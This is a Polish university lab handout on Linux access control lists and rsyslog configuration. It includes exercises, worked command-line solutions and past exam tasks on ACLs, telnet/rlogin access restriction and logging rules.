Laboratorium

Laboratorium 0: zajęcia organizacyjne

  1. Celem laboratorium jest poznanie narzędzi:
    1. zapewniania poufności, integralności i dostępności informacji,
    2. pozwalających na stosowanie kryptografii, podpisu elektronicznego i infrastruktury klucza publicznego,
    3. wprowadzania uwierzytelniania, kontroli dostępu, bezpieczeństwa protokołów komunikacyjnych i usług aplikacyjnych,
    4. analizy zabezpieczeń, monitoringu systemu, wykrywania ataków oraz ochrony przed nimi.
  2. Zajęcia odbywać się będą według schematu:
    1. zajęcia wstępne, na których nastąpi zapoznanie się z laboratorium oraz zasadami zaliczenia przedmiotu,
    2. 6 bloków po 2 zajęcia z treściami merytorycznymi,
    3. na 2 zajęciach będzie można uzupełniać zaliczenie.
  3. Przewidujemy następujące bloki:
    1. mechanizmy lokalnej kontroli dostępu, domeny zaufania, mechanizmy kontroli zdalnego dostępu,
    2. modularne systemy uwierzytelniania i kontroli dostępu do systemu operacyjnego, wykonywanie poleceń ze zmienionymi uprawnieniami,
    3. systemy kryptograficznej ochrony komunikacji warstwy aplikacyjnej, zabezpieczanie komunikacji pocztowej, integracja mechanizmów kryptograficznych z usługami pocztowymi,
    4. analiza zagrożeń systemów komputerowych,
    5. zabezpieczanie serwerów usług aplikacyjnych na przykładzie WWW, konstrukcja urzędów certyfikacji standardu OpenSSL, zarządzanie certyfikatami,
    6. tworzenie sieci VPN w środowisku Linux, systemy programowych zapór sieciowych.
  4. Bloki dwóch zajęć z treściami merytorycznymi będą miały następującą postać:
    1. na pierwszych zajęciach w bloku na wstępie jest kartkówka (zakres merytoryczny kartkówki jest podany w materiałach do odpowiedniego laboratorium),
    2. następnie studenci do końca pierwszych zajęć robią zadanie (zadanie będzie dostępne w materiałach do odpowiedniego laboratorium),
    3. na drugich zajęciach prowadzący sprawdza wykonanie zadania.
  5. Zadania zaliczeniowe z każdych zajęć można zabrać do domu i tam je dokończyć.
  6. Za każdy blok merytoryczny można dostać do 4 punktów.
  7. Każdy, kto chce zaliczyć dany blok, musi przejść przez zaliczenie wstępne (w formie kartkówki lub pytania ustnego).
  8. Prowadzący na podstawie jakości odpowiedzi przy zaliczeniu wstępnym może odjąć do 2 punktów od wyniku zaliczenia bloku.
  9. Za laboratorium można uzyskać do 24 punktów. Maksymalna liczba punktów za
    egzamin wynosi także 24 punkty.
  10. Ocena z laboratorium będzie wystawiana wg schematu:
    [0 -12) - nzal
    [12-24] - zal
  11. Ocena nzal oznacza, że nie jest się dopuszczonym do egzaminu w pierwszym
    terminie.
  12. Punkty z laboratorium liczą się tak samo w terminie drugim, jednak można
    w tym terminie uzyskać dodatkowe punkty przez zaliczenie dodatkowego testu
    z treści przedstawianych na laboratorium.

Laboratorium 1 i 2: acl, syslog

Mechanizmy lokalnej kontroli dostępu

Listy kontroli dostępu (ang. Access Control List, ACL) rozszerzają standardowy mechanizm uprawnień, kontrolujący dostęp do plików (a także katalogów, urządzeń, gniazd i innych obiektów systemu plików).

Standardowe uprawnienia definiują prawo do odczytu (r), zapisu (w) i wykonania (x) dla:

  • właściciela pliku (lub innego obiektu reprezentowanego przez plik, od tego momentu nie będziemy już tego powtarzać),
  • grupy, do której należy właściciel,
  • pozostałych użytkowników.

ACL pozwalają na bardziej rozbudowaną kontrolę - dają możliwość przydzielania trzech wymienionych uprawnień (rwx) dla dowolnie wskazanego użytkownika lub grupy.

ACL są wspierane przez różne linuksowe systemy plików, mi.in.: xfs, ext4, reiserfs, nfs.

Uważa się, że ACL są zgodne ze standardem POSIX. W rzeczywistości opisujące je standardy POSIX 1003.1e i 1003.2c draft 17 nie zostały oficjalnie przyjęte. ACL są również wspierane w systemach firmy Microsoft, jednak nie zachowują one pełnej zgodności ze standardem i są wspierane jedynie przez system plików NTFS.

Linux

1. Lista Kontroli Dostępu

Minimalna lista kontroli dostępu pokrywa się ze standardowymi uprawnieniami, natomiast lista rozszerzona zawiera dodatkową pozycję - maskę i może zawierać także pozycje dla poszczególnych użytkowników i grup.

W liście ACL wyróżniamy następujące typy pozycji (w nawiasach słowa kluczowe):

  • właściciel (user:: lub u::)
  • nazwany użytkownik (user:nazwa_użytkownika: lub u:nazwa_użytkownika:)
  • grupa właściciela (group:: lub g::)
  • nazwana grupa (group:nazwa_grupy: lub g:nazwa_grupy:)
  • maska (mask::)
  • pozostali (other::)

2. Maska

Rozszerzone listy kontroli dostępu oferują możliwość maskowania uprawnień, co oznacza, że podczas obliczania efektywnych uprawnień, oprócz uprawnień zdefiniowanych dla danego użytkownika, brana jest pod uwagę także maska. Z dwoma wyjątkami: uprawnienia zdefiniowane dla właściciela i dla tzw. pozostałych są zawsze efektywne (maska nie ma na nie wpływu).

Efektywne uprawnienia do pliku są koniunkcją bitową maski i uprawnień zdefiniowanych w odpowiedniej pozycji (dla nazwanego użytkownika, grupy właściciela lub nazwanej grupy).

Przykład

Jeżeli prawa do pliku zdefiniowane są w następujący sposób:

user:testowy:r-x
mask::rw-

to efektywne uprawnienia użytkownika "testowy" to: r--

Uwaga: domyślnie maska jest aktualizowana automatycznie i określa maksymalne uprawnienia dla użytkowników należących do nazwanych użytkowników, grupy właściciela lub grup nazwanych.

3. Algorytm sprawdzania uprawnień dostępu

Rozszerzone uprawnienia są stosowane wg następującego algorytmu:

  • jeżeli użytkownik jest właścicielem pliku - zastosuj uprawnienia właściciela,
  • jeżeli użytkownik jest na liście nazwanych użytkowników - zastosuj efektywne (patrz punkt 2) uprawnienia nazwanego użytkownika,
  • jeżeli jedna z grup użytkownika jest grupą właściciela i posiada odpowiednia efektywne prawa - zezwól na dostęp,
  • jeżeli jedna z grup użytkownika występuje jako grupa nazwana i posiada odpowiednie efektywne prawa - zezwól na dostęp,
  • jeżeli jedna z grup użytkownika jest grupą właściciela lub należy do grup nazwanych, ale nie posiada dostatecznych efektywnych uprawnień - dostęp jest zabroniony,
  • jeżeli nie zachodzi żadne z powyższych - uprawnienia tzw. pozostałych określają możliwość dostępu.

4. Polecenia

Do zarządzania listami ACL służą dwa polecenia:

  • getfacl
  • setfacl

Polecenie "getfacl" wypisuje rozszerzone uprawnienia do plików.

Przykład

% touch plik-testowy
% ls -l plik-testowy
-rw-r--r-- 1 janek bsk 0 2016-10-05 14:46 plik-testowy
% getfacl plik-testowy
# file: plik-testowy
# owner: janek
# group: bsk
user::rw-
group::r--
other::r--
% getfacl plik-testowy –-omit-header
user::rw-
group::r--
other::r--

Polecenie "setfacl" pozwala modyfikować uprawnienia.

a) Zmiana uprawnień - opcja -m

Jeżeli chcemy dodać lub zmienić uprawnienia używamy opcji -m, a następnie podajemy: pozycję z listy (patrz punkt 1), jakie uprawnienia chcemy nadać (rwx) i jakiemu plikowi.

Przykład

% setfacl -m u:ala:rwx plik-testowy
% getfacl plik-testowy
# file: plik-testowy
# owner: janek
# group: bsk
user::rw-
user:ala:rwx
group::r--
mask::rwx
other::r--
% ls -l plik-testowy
-rw-rwxr--+ 1 janek bsk 0 2016-10-05 14:46 plik-testowy

Zwróćmy uwagę na wiersz powyżej. Znak + oznacza, że plik posiada rozszerzone uprawnienia, a zamiast uprawnień grupy widzimy maskę (co nie powinno dziwić, bo maska opisuje maksymalne uprawnienia dla wszelkich grup).

Maskę możemy zmieniać korzystając z setfacl (mask::), a także poprzez chmod (zmiana praw dla grupy powoduje zmianę maski).

b) Usunięcie uprawnień - opcja -x

% setfacl -x u:ala plik-testowy
% getfacl plik.txt –-omit-header
user::rw-
group::r--
mask::r--
other::r--
% ls -l plik.txt
rw-r--r--+ 1 janek bsk 0 2016-10-05 14:46 plik-testowy

Inne opcje pozwalają na przykład na usunięcie uprawnień dotyczących wszystkich pozycji (-b), czy modyfikację uprawnień rekurencyjnie w drzewie katalogów (-R).

5. Domyślne prawa dostępu

Uprawnienia domyślne dotyczą tylko katalogów. Jeżeli katalogowi nadamy domyślne uprawnienia rozszerzone, to nowo utworzone pozycje w tym katalogu będą je dziedziczyć.

Do modyfikowania uprawnień domyślnych służy opcja -d polecenia setfacl, po której następują znane już -m, -x itd.

Przykład dodania uprawnień domyślnych

% setfacl -d -m group:testowa:wx bsk-lab1
% getfacl bsk-lab1 –-omit-header
user::rwx
group::r-x
other::r-x
default:user::rwx
default:group::r-x
default:group:testowa:-wx
default:mask::rwx
default:other::r-x

Opcja -k kasuje domyślne uprawnienia.

Windows XP

System plików NTFS umożliwia związanie z każdym plikiem (lub katalogiem) list kontroli dostępu. Dostęp do prostych ustawień ACL pliku jest możliwy z poziomu np. Eksploratora Windows w opcji Właściwości (menu Plik lub kontekstowe). Rozszerzone listy ACL są dostępne po wyborze uprawnień Zaawansowanych.


Podsumowanie

Zalety ACL:

  • Elastyczność, możliwość nadawania dowolnie skomplikowanych uprawnień bez konieczności tworzenia dużej liczby grup.
  • Ułatwienie migracji, tworzenia i konfigurowania heterogenicznych środowisk z systemami operacyjnymi Windows i Linux (oprogramowanie Samba wspiera ACL).

Problemy: nie wszystkie narzędzia wspierają ACL:

  • Edytory, które automatycznie zapisują zawartość w nowym pliku, a następnie zmieniają jego nazwę na oryginalną, mogą tracić informację o rozszerzonych uprawnieniach.
  • Programy archiwizujące (np. tar) nie potrafią zapisywać informacji o listach kontroli dostępu.

Jedną z metod radzenia sobie z drugim problemem jest zapamiętywanie informacji ACL. Na przykład polecenie:

% getfacl -R --skip-base . >backup.acl

spowoduje zapisanie do pliku "backup.acl" informacji o ACL z całego drzewa systemu plików (opcja -R) z pominięciem domyślnych uprawnień (--skip-base). Używając polecenia setfacl z opcją --restore=backup.acl, można potem przywrócić rozszerzone uprawnienia.

Czytaj też

man 5 acl

man do poleceń: getfacl, setfacl, chmod, umask

Ćwiczenia

Ćwiczenie 1

1. Sprawdź czy istnieje użytkownik "testowy", a jeżeli nie to załóż konto o takim loginie.

2. Stwórz katalog "bsk1" z prawami 0755 i obejrzyj standardowe uprawnienia oraz listę rozszerzonych uprawnień do tego katalogu.

3. Dodaj (rozszerzone) uprawnienia do odczytu, zapisu i przeszukiwania do powyższego katalogu użytkownikowi "testowy". Ponownie sprawdź uprawnienia.

4. Zaloguj się jako "testowy" i sprawdź, czy możesz zapisać jakiś plik do katalogu "bsk1" stworzonego w poprzednim punkcie.

5. Zabierz grupie właściciela prawo do pisania dla katalogu "bsk1".

6. Zaloguj się jako "testowy" i sprawdź, czy możesz zapisać jakiś plik do katalogu "bsk1" stworzonego w poprzednim punkcie. Wyjaśnij powody zaistniałej sytuacji.

7. Po zakończeniu ćwiczenia usuń katalog "bsk1" wraz z zawartością.

Ćwiczenie 2

1. Stwórz katalog "bsk2" z prawami 0777 i obejrzyj standardowe uprawnienia oraz listę rozszerzonych uprawnień do tego katalogu.

2. Dodaj (rozszerzone) uprawnienia do odczytu i przeszukiwania do powyższego katalogu użytkownikowi "testowy".

3. Zaloguj się jako "testowy" i sprawdź, czy możesz zapisać jakiś plik do katalogu "bsk1" stworzonego w poprzednim punkcie. Wyjaśnij powody zaistniałej sytuacji.

4. Po zakończeniu ćwiczenia usuń katalog "bsk2" wraz z zawartością.

Ćwiczenie 3

1. Sprawdź, czy istnieje grupa "testowa", a jeżeli nie, to załóż grupę o takiej nazwie.

2. Stwórz katalog "bsk3" z prawami 0750. Jakie uprawnienia będą miały pliki założone w tym katalogu?

3. Stwórz plik "plik3a" w katalogu "bsk3".

4. Dodaj domyślne uprawnienia do katalogu "bsk3": do odczytu, zapisu i wykonywania dla grupy "testowa" oraz do odczytu i wykonywania dla pozostałych.

5. Stwórz plik "plik3b" oraz katalog "kat3" w katalogu "bsk3".

6. Porównaj uprawnienia obiektów z katalogu "bsk3".

7. Po zakończeniu ćwiczenia usuń katalog "bsk3" wraz z zawartością.


System rejestrujący - syslog

Jądro systemu, usługi systemowe i różne aplikacje zapisują informacje o swoim działaniu w dziennikach systemowych (logach). Dlatego pierwszym miejscem, do którego należy zajrzeć, kiedy jakaś usługa nie uruchamia się poprawnie, jest odpowiedni dziennik.

W systemach uniksowych i linuksowych dominującym systemem rejestracji zdarzeń jest syslog. Poznamy bliżej jedną z jego nowszych wersji o nazwie rsyslog.

Pliki dzienników

Pliki dzienników znajdują się z reguły w katalogu:

/var/log

Ważniejsze pliki które możesz tam znaleźć to :

  • messages lub syslog - główny dziennik systemowy
  • dmesg - komunikaty o urządzeniach wykrytych w trakcie startu systemu i o ładowanych sterownikach do tych urządzeń, do ich obejrzenia można posłużyć się programem dmesg
  • boot.log - komunikaty skryptów startowych
  • daemon.log - komunikaty usług
  • kern.log - wszystkie komunikaty generowanie przez jądro
  • auth.log - komunikaty pochodzące z części systemu odpowiedzialnej za uwierzytelnianie użytkowników (np. informacje o poleceniach wykonanych przez sudo)
  • mail.log - komunikaty związane z obsługą poczty
  • wtmp - zapisy logowania użytkowników do systemu, do ich oglądania służy polecenie last
  • lastlog - informacja o ostatnich logowaniach, do jej oglądania służy polecenie lastlog

Wpis do dziennika jest najczęściej pojedynczym wierszem zawierającym datę i czas wystąpienia zdarzenia, a także jego rodzaj i poziom ważności.

Konfigurowanie demona (r)syslog - podstawowe reguły

Za zbieranie informacji o działaniu systemu i umieszczania ich w plikach odpowiada usługa systemowa syslogd (lub nowsza rsyslogd). Plikiem konfiguracyjnym dla syslogd jest /etc/syslog.conf a dla rsyslogd /etc/rsyslog.conf (zachowana jest zgodność wstecz).

(r)syslog umożliwia sortowanie komunikatów ze względu na źródło ich pochodzenia i stopień ważności oraz na kierowanie ich w różne miejsca: do plików, na terminale użytkowników a także na inne komputery.

Plik konfiguracyjny opisuje reguły systemu rejestrowania. Podstawowy format jest następujący:

usługa.poziom <co najmniej jeden znak tabulacji> 	przeznaczenie

Usługa określa z jakiej części systemu pochodzi informacja. Może przyjąć następujące wartości: auth, authpriv, cron, daemon, kern, ftp, local0-7, lpr, mail, mark, news, syslog, user, uucp.

Poziom określa priorytety komunikatów. Wszystkie wiadomości o tym lub wyższym priorytecie trafiają do dziennika. Poziomy ważności są następujące (w kolejności rosnącego znaczenia): debug, info, notice, warning (warn), error (err), crit, alert, emerg (panic).
Znak "=" przed nazwą poziomu wskazuje, że należy zbierać wiadomości o dokładnie takim poziomie, a "!" oznacza "oprócz tego i wyższych poziomów". Symbol "*" oznacza wszystkie usługi i poziomy a "none" - "żaden poziom". W pojedynczej regule może występować wiele usług oddzielonych przecinkami lub par usługa-poziom oddzielonych średnikami.

Przeznaczenie określa gdzie trafiają zebrane komunikaty. Może to być między innymi:

  • plik - należy podać pełną ścieżkę np. /var/log/messages
  • łącze nazwane (przydatne przy debugowaniu) - nazwa łącza jest poprzedzona znakiem |
  • terminal np. tty6
  • maszyna zdalna - nazwa maszyny poprzedzona jest znakiem @, np. @192.168.0.1
  • lista użytkowników np: root,admin (stara składnia) lub :omusrmsg:root,admin (składnia rsyslog); * lub :omusrmsg:* spowoduje wyświetlenie komunikatu wszystkim zalogowanym użytkownikom
  • śmietnik: ~

Nazwa pliku poprzedzona "-" oznacza, że system plików nie powinien być synchronizowany po zapisaniu każdego wpisu do dziennika (włączone buforowanie).

Przykład

mail.info		/var/log/mail.log

Powyższy wpis spowoduje, że komunikaty systemu pocztowego o poziomach info i wyższych będą trafiały do pliku /var/log/mail.log a następujący:

*.emerg;user.none	             *

że wszystkie komunikaty awaryjne oprócz takich, które są generowane przez procesy użytkownika, pojawią się na ekranach wszystkich zalogowanych użytkowników.

Przykładowy plik rsyslog.conf znajdziesz na końcu scenariusza.

Aby zmusić demona (r)syslog działającego nieprzerwanie do ponownego odczytania pliku konfiguracyjnego należy wysłać do niego sygnał HUP. Pid procesu demona jest zapisany w pliku /var/run/rsyslogd.pid, więc właściwe polecenie ma następującą postać:

% kill -HUP $(cat /var/run/(r)syslogd.pid)

Co można zrobić również w następujący sposób:

% /etc/init.d/rsyslog restart

Do sprawdzenia poprawności składniowej pliku konfiguracyjnego służy polecenie:

% rsyslogd -f /etc/rsyslog.conf -N1

Nowe możliwości rsyslog

Nowsza wersja systemu rejestrującego pozwala na korzystanie z tzw. modułów - wtyczek zapewniających różnorodną funkcjonalność. Polecenia dołączenia odpowiednich modułów powinny znaleźć się na początku pliku konfiguracyjnego. Dzięki schematom (templates) można określić format logowanej wiadomości.

Rsyslog umożliwia także filtrowanie wiadomości na podstawie jej zawartości. Udostępnia operacje porównywania takie jak: contains, isequal, startswith, regex. Ogólna postać polecenia jest następująca:

:własność,[!]operacja, "wzorzec"

gdzie najczęściej wykorzystywaną własnością jest :msg (treść komunikatu).

Przykład

:msg,contains,"iptables"                     /var/log/iptables.log
:msg,regex,"fatal .* error"                   /var/log/fatal-error.log

Rsyslog może także zapisywać informacje do baz danych MySQL lub PostgreSQL (po instalacji pakietu rsyslog-mysql lub rsyslog-pgsql). Jako miejsce przeznaczenia można wtedy podać nazwę tabeli.

Kolejną nowością w rsyslog jest możliwość wyboru protokołu TCP lub RELP zamiast UDP. Nazwę maszyny przeznaczenia należy poprzedzić znakiem @@ (TCP) lub :omrelp: (RELP). Wcześniej należy załadować odpowiedni moduł.

Po instalacji rsyslog domyślnie czas jest zapisywany w skróconej formie: np. 2016-10-05 14:17:42 odpowiada za to poniższa linia w pliku konfiguracyjnym (by włączyć dokładne zapisywanie czasu - trzeba zamienić ją na komentarz).

$ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat

Logger

Polecenie logger jest interfejsem do systemu syslog z poziomu interpretera poleceń (powłoki). Warto je wykorzystać do testowania zmian w pliku konfiguracyjnym. Na przykład aby sprawdzić regułę:

local2.info		/tmp/test.log

możesz wydać polecenie:

% logger -p local2.info "test local2 info"

Logrotate

Samo zbieranie i czytanie dzienników to nie wszystko o co powinien zadbać administrator - na maszynach z setką intensywnie pracujących użytkowników mogą one przyrastać bardzo szybko powodując przepełnienie systemu plików. Należy pamiętać, że samo skasowanie pliku nie rozwiązuje problemu (i-węzeł pliku nie zostanie zwolniony, dopóki plik nie zostanie zamknięty). Aby ułatwić zadania administratorowi system udostępnia polecenie logrotate, które umożliwia rotację plików z dziennikami, ich kompresję, przesyłanie pocztą do użytkowników i usuwanie. Jest zazwyczaj uruchamiany codziennie jako zadanie regularne przez podsystem cron. Jego plik konfiguracyjny to /etc/logrotate.conf

Analiza dzienników

Istnieją również narzędzia wspomagające analizowanie dzienników, tworzące odpowiednie raporty i przesyłające je pod wskazany adres. Przykładami takich narzędzi są swatch i logcheck.

Zobacz też

man rsyslog.conf
man rsyslogd
man logger
man logrotate

http://www.rsyslog.com/doc/rsyslog_conf.html

Ćwiczenia

1. Przejrzyj zawartość katalogu /var/log. Sprawdź czasy ostatniej modyfikacji plików. Czy znajdują się tam pliki skompresowane? Wyświetl ostatnie wpisy wybranych logów (skorzystaj z tail).

2. Wykonaj polecenie sudo su, a następnie sprawdź, w którym pliku pojawiła się informacja o tym (przydatne może okazać się polecenie ls -ltr).

3. Znajdź w plikach konfiguracyjnych logrotate zasady rotowania plików dla kern.log i syslog.

4. Wykonaj polecenia dmesg i last.

5. Przeczytaj /etc/rsyslog.conf i przy pomocy polecenia logger sprawdź kilka reguł. Spróbuj wskazać komunikaty, które trafiają do więcej niż jednego dziennika.

6. Zmodyfikuj plik konfiguracyjny i skorzystaj z polecenia logger do wysłania komunikatu do wszystkich użytkowników, wybranego użytkownika, na wybrany terminal, na inny komputer.

7. Zastosuj filtrowanie wiadomości na podstawie jej zawartości.

ZałącznikWielkość
rsyslog.conf_.txt2.56 KB

Ćwiczenia z rozwiązaniami

Ćwiczenia z rozwiązaniami

Ćwiczenie 1.

* Sprawdź czy istnieje użytkownik "testowy", a jeżeli nie to załóż konto o takim loginie.

$ useradd -m testowy

* Stwórz katalog "bsk1" z prawami 0755 i obejrzyj standardowe uprawnienia oraz listę rozszerzonych uprawnień do tego katalogu.

$ mkdir bsk1 -m 0755
$ ls -ld bsk1
drwxr-xr-x 2 root root 6 Sep 17 08:04 bsk1
$ getfacl bsk1
# file: bsk1
# owner: root
# group: root
user::rwx
group::r-x
other::r-x

* Dodaj (rozszerzone) uprawnienia do odczytu, zapisu i przeszukiwania do powyższego katalogu użytkownikowi "testowy". Ponownie sprawdź uprawnienia.

$ setfacl -m u:testowy:rwx bsk1
$ ls -ld bsk1
drwxrwxr-x+ 2 root root 6 Sep 17 08:04 bsk1
$ getfacl bsk1
# file: bsk1
# owner: root
# group: root
user::rwx
user:testowy:rwx
group::r-x
mask::rwx
other::r-x

* Zaloguj się jako "testowy" i sprawdź, czy możesz zapisać jakiś plik do katalogu "bsk1" stworzonego w poprzednim punkcie.

testowy może utworzyć plik

* Zabierz grupie właściciela prawo do pisania dla katalogu "bsk1".

$ chmod g-w bsk1
$ ls -ld bsk1
drwxr-xr-x+ 2 root root 17 Sep 17 08:11 bsk1
$ getfacl bsk1
# file: bsk1
# owner: root
# group: root
user::rwx
user:testowy:rwx		#effective:r-x
group::r-x
mask::r-x
other::r-x

* Jako "testowy" sprawdź czy możesz zapisać jakiś plik do katalogu "bsk1" stworzonego w poprzednim punkcie. Wyjaśnij powody zaistniałej sytuacji.

testowy nie może założyć pliku, bo nie ma efektywnych uprawnień do pisania w katalogu "bsk1"

* Po zakończeniu ćwiczenia usuń katalog "bsk1" wraz z zawartością.

$ rm -rf bsk1

Ćwiczenie 2.

* Stwórz katalog "bsk2" z prawami 0777 i obejrzyj standardowe uprawnienia oraz listę rozszerzonych uprawnień do tego katalogu.

$ mkdir bsk2 -m 0777
$ ls -ld bsk2
drwxrwxrwx 2 root root 6 Sep 17 08:28 bsk2
$ getfacl bsk2
# file: bsk2
# owner: root
# group: root
user::rwx
group::rwx
other::rwx

* Dodaj uprawnienia do odczytu i przeszukiwania do powyższego katalogu użytkownikowi "testowy".

$ setfacl -m u:testowy:rx bsk2
$ ls -ld bsk2
drwxrwxrwx+ 2 root root 6 Sep 17 08:28 bsk2
$ getfacl bsk2
# file: bsk2
# owner: root
# group: root
user::rwx
user:testowy:r-x
group::rwx
mask::rwx
other::rwx

* Zaloguj się jako "testowy" i sprawdź czy możesz zapisać jakiś plik do katalogu "bsk2" stworzonego w poprzednim punkcie. Wyjaśnij powody zaistniałej sytuacji.

testowy nie może założyć pliku, bo nie ma efektywnych uprawnień do pisania w katalogu "bsk2", uprawnienia efektywne to koniunkcja
uprawnień określnonych dla użytkownika testowy i maski, a więc r-x.

* Po zakończeniu ćwiczenia usuń katalog "bsk2" wraz z zawartością.

$ rm -rf bsk2

Ćwiczenie 3.

* Sprawdź, czy istnieje grupa "testowa", a jeżeli nie to załóż grupę o takiej nazwie.

* Stwórz katalog "bsk3" z prawami 0750. Jakie uprawnienia będą miały pliki założone w tym katalogu?

$ mkdir bsk3 -m 0750
$ umask
0077

* Stwórz plik "plik3a" w katalogu "bsk3".

$ touch bsk3/plik3a
$ ls -l bsk3/plik3a
-rw------- 1 root root 0 Sep 17 08:51 plik3a

* Dodaj domyślne uprawnienia do katalogu "bsk3": do odczytu, zapisu i wykonywania dla grupy "testowa" oraz do odczytu i wykonywania dla pozostałych.

setfacl -d -m g:testowa:rwx,o:rx bsk3
$ ls -ld bsk3
drwxr-x---+ 2 root root 29 Sep 17 08:53 bsk3
$ getfacl bsk3
# file: bsk3
# owner: root
# group: root
user::rwx
group::r-x
other::---
default:user::rwx
default:group::r-x
default:group:testowa:rwx
default:mask::rwx
default:other::r-x

* Stwórz plik "plik3b" oraz katalog "kat3" w katalogu "bsk3".
* Porównaj uprawnienia obiektów z katalogu "bsk3".

$ touch bsk3/plik3b
$ ls -l bsk3
total 0
-rw-------  1 root root 0 Sep 17 08:53 plik3a
-rw-rw-r--+ 1 root root 0 Sep 17 09:00 plik3b
$ getfacl bsk3/plik3b
# file: bsk3/plik3b
# owner: root
# group: root
user::rw-
group::r-x			#effective:r--
group:testowa:rwx		#effective:rw-
mask::rw-
other::r--

* Po zakończeniu ćwiczenia usuń katalog "bsk3" wraz z zawartością.

$ rm -rf  bsk3

Zaliczenie 2009

Część 1

Należy na wybranej maszynie (A) zmienić konfigurację usługi rlogin w taki sposób, aby:
- dostęp zdalny był dozwolony tylko z maszyn w sieci lokalnej (maszyny solab01 - solab15),
- wymagał od wszystkich podania hasła,
- zapisywał w dzienniku informację, z jakiej maszyny nastąpiło zdalne logowanie i zawierającą słowo RLOGIN.

Część 2

Następnie należy zmienić ustawienia w ten sposób, aby:
- zdalny dostęp do konta X bez podawania hasła mieli użytkownicy X i Y z komputera B,
- właściciel i użytkownik Y mieli wszystkie prawa, a pozostali żadnych praw do katalogu domowego użytkownika X,
- domyślne uprawnienia do katalogu domowego użytkownika X były takie, aby mógł on modyfikować i usuwać obiekty stworzone przez Y w tym katalogu.

Zaliczenie 2010

Część 1

Napisz skrypt, który skonfiguruje rozszerzone prawa dostępu do katalogu domowego A i obiektów, które będą tworzone w katalogu
domowym A, ale nie w jego podkatalogach (chodzi o nowo utworzone obiekty, nie zmieniamy zastanych uprawnień) w taki sposób, aby:
- użytkownicy A i B mieli wszystkie możliwe prawa,
- grupa właściciela i grupa B mogły je przeczytać, ale nie modyfikować
- pozostali nie mieli żadnych praw.

Część 2

Skonfiguruj wybraną usługę (inną niż tftp) w ten sposób, aby dostęp do niej był możliwy ze wyłącznie z komputerów z laboratorium 5490 oprócz jednego, dowolnie wybranego (np. oprócz solab10). W pliku /var/log/connections.log powinny znaleźć się wpisy o połączeniach zawierające nazwę usługi i informacje o kliencie: adres, port i login.

Zaliczenie 2011

Część 1

Jako root załóż katalog /home/public i skonfiguruj go w następujący sposób:

1. Użytkownik admin ma wszelkie uprawnienia do katalogu /home/public i jego zawartości.

2. Grupa G1 ma prawo do odczytu plików, które powstaną w katalogu /home/public.

3. Grupa G2 ma prawo do odczytu, wykonywania i modyfikacji plików, które powstaną w katalogu /home/public, nie ma natomiast prawa do tworzenia nowych plików w tym katalogu.

4. Pozostali nie mają żadnych praw do katalogu /home/public.

Część 2

Zainstaluj usługi telnet i rlogin na swoim serwerze i skonfiguruj je w następujący sposób:

1. Użytkownicy z maszyny solab06 mogą korzystać z usługi telnet. Przy próbie dostępu do pliku /var/log/connections.log dopisywany jest komunikat "TELNET from nazwa-hosta, ip adres-ip, port port".

2. Użytkownicy z maszyny solab06 nie mogą korzystać z usługi rlogin.

3. Użytkownicy z pozostałych maszyn, których nazwy zaczynają się na solab nie mogą korzystać z żadnej z wymienionych usług, a przy próbie dostępu otrzymują komunikat "Use ssh instead of nazwa-usługi from adres-ip".

4. Użytkownicy z wszystkich pozostałych maszyn nie mają dostępu do żadnej z wymienionych usług. Przy próbie niedozwolonego dostępu (także z solab06) do pliku /var/log/connections.log dopisywany jest komunikat "nazwa-usługi attempt from nazwa-hosta, ip adres-ip, port port".

Zaliczenie 2012

Część 1

Jako root załóż katalog /home/public i skonfiguruj go w następujący sposób:

1. Użytkownik nowy będzie mógł odczytywać pliki, które powstaną w katalogu /home/public.

2. Użytkownik guest ma prawo do odczytu i modyfikacji plików, które powstaną w katalogu /home/public, nie ma natomiast prawa do tworzenia nowych plików w tym katalogu.

3. Pozostali nie mają żadnych praw do katalogu /home/public.

Część 2

Zainstaluj usługi telnet i finger na swoim serwerze i skonfiguruj je w następujący sposób:

1. Z usługi telnet można korzystać tylko z maszyny solab15.

2. Z usługi finger można korzystać z dowolnej maszyny oprócz solab15.

3. Udane i nieudane próby skorzystania z usługi telnet są odnotowane w odpowiednich logach i zawierają frazę "BSK TELNET" oraz nazwę i adres klienta.

4. W przypadku próby skorzystania z usługi finger wykonaj i zapisz do logów wynik wykonania polecenia safe_finger do łączącego się klienta.

Zaliczenie 2013

Część 1

Jako root załóż katalog /home/public i skonfiguruj go w następujący sposób:

1. użytkownik admin ma wszelkie uprawnienia do katalogu /home/public i jego zawartości,

2. grupa students ma prawo do odczytu plików, które powstaną w katalogu /home/public,

3. użytkownik guest ma prawo do odczytu, wykonywania i modyfikacji plików, które powstaną w katalogu /home/public, nie ma natomiast prawa do tworzenia nowych plików w tym katalogu,

4. pozostali nie mają żadnych praw do katalogu /home/public i jego zawartości.

Część 2

Skonfiguruj rsyslog w taki sposób, aby:

1. wszystkie zapisy z poziomu debug trafiały do pliku /var/log/debug.log i tylko tam,

2. komunikaty z kategorii daemon, kern, lpr, mail i user znajdowały się w osobnych plikach,

3. komunikaty związane z uwierzytelnianiem użytkowników trafiały do pliku /var/log/auth.log,

4. w głównym dzienniku /var/log/syslog były wszystkie informacje oprócz tych związanych z uwierzytelnianiem, drukowaniem i podsystemem cron,

5. komunikatu z poziomu emerg pochodzące od jądra, usług lub od local2 (na potrzeby testowania) trafiały do wszystkich zalogowanych użytkowników,

6. korzystając z xconsole można było śledzić informacje przekazywane przez usługi i związane z uwierzytelnianiem,

7. do użytkownika admin trafiały komunikaty usług z poziomu co najmniej error oraz związane z drukowaniem i pocztą z poziomu co najmniej warning.

Zaliczenie 2014

Część 1

Jako root załóż katalog /home/public i skonfiguruj go w następujący sposób:

1. grupa staff ma prawo do odczytu, wykonywania i modyfikacji plików, które powstaną w katalogu /home/public, nie ma natomiast prawa do tworzenia nowych plików w tym katalogu ani do usuwania już istniejących,

2. użytkownik admin należący do grupy staff ma wszelkie uprawnienia do katalogu /home/public i jego zawartości,

3. wszyscy pozostali użytkownicy mają prawo do odczytu plików, które powstaną w katalogu /home/public.

Przetestuj poprawność swojej konfiguracji.

Część 2

Zmień konfigurację rsyslog w taki sposób, aby:

1. wszystkie zapisy z poziomu debug trafiały do pliku /var/log/debug.log i nie zaśmiecały żadnych innych plików,

2. komunikaty pochodzące od usług: o priorytecie nie większym niż warn znajdowały się w pliku /var/log/daemon-info, a o priorytecie co najmniej crit można było śledzić za pomocą xconsole,

3. wszystkie komunikaty poziomu co najmniej crit poza komunikatami związanymi z pocztą trafiały do pliku /var/log/critical,

